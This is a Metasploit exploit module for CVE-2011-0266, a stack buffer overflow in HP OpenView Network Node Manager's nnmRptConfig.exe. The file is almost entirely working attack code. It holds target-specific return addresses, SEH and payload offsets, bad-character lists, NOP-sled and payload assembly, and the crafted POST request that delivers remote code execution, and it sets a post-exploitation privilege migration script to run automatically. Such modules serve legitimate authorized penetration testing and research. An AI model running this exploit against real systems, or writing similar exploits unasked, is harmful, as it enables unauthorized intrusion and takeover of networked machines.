##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info={})
    super(update_info(info,
      'Name'        => "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow",
      'Description' => %q{
        This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
        A remote user can send a long string data to the nameParams parameter via
        a POST request, which causes an overflow on the stack when function
        ov.sprintf_new() is used, and gain arbitrary code execution.'
      },
      'License'	  => MSF_LICENSE,
      'Author'      =>
        [
          'sinn3r',
          'MC',
        ],
      'References' =>
        [
          ['CVE', '2011-0266'],
          ['OSVDB', '70473'],
          ['ZDI', '11-008']
        ],
      'Payload'	 =>
        {
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => "seh",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [
            'HP NNM 7.53 Windows Server 2003 Enterprise',
            {
              'Ret' => 0x5A30532D,    #POP/POP/RET OvWww.dll
              'offset' => 46913,      #Offset to SEH chain
              'Pops' => 13,           #Number of POPADs needed
              'Payloadoffset' => 57,  #Offset to pyload
            }
          ],
          [
            'HP OpenView Network Node Manager 7.50',
            {
              'Ret' => 0x5a01d78d,   #JMP
              'offset' => 5117,      #Offset to overwrite EIP
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-01-10'))
  end

  def exploit

    sploit = ''
    data   = ''

    if target.name =~ /NNM 7.53/ && target.name =~ /Server 2003/

      nops = make_nops(1000)*70

      sploit << nops[0, target['offset']]
      sploit << generate_seh_record(target.ret)
      sploit << "\x61"*target['Pops']
      sploit << "\x51"
      sploit << "\xc3"
      sploit << nops[0, target['Payloadoffset']]
      sploit << payload.encoded
      sploit << nops[0, 70000-sploit.length]

      data << "Content&Action=Create&"
      data << "Template=Avail/CRAvail&"
      data << "Operation=Apply&"
      data << "Params=schdParams+nameParams"
      data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&"
      data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

    elsif target.name =~ /7.50/

      #Courtersy of MC
      sploit << rand_text_alpha_upper(target['offset'])
      sploit << [target.ret].pack('V')
      sploit << payload.encoded
      sploit << rand_text_alpha_upper(8024 - 5117 - 4 - payload.encoded.length)

      data << "Content&Action=Modify&Template=Avail/General+Availabiilty/monthtodat"
      data << "e&Operation=Apply&Params=schdParams+nameParams&schdParams=schd_select1%3Dmonto"
      data << "date&nameParams=text1%3D#{sploit}%262%3D%263%3D"

    end

    print_status("Trying target #{target.name}...")

    connect
    send_request_raw({
      'uri' => '/OvCgi/nnmRptConfig.exe',
      'data' => data,
      'version' => '1.1',
      'method' => 'POST',
      'headers' => {
        'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language' => 'en-us,en;q=0.5',
        'Accept-Encoding' => 'gzip,deflate',
        'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
        'Keep-Alive' => '300',
        'Connection' => 'Keep-Alive',
        'Cache-Control' => 'max-age=0',
        'Content-Type' => 'application/x-www-form-urlencoded',
      }
    }, 3)

    handler
    disconnect

  end
end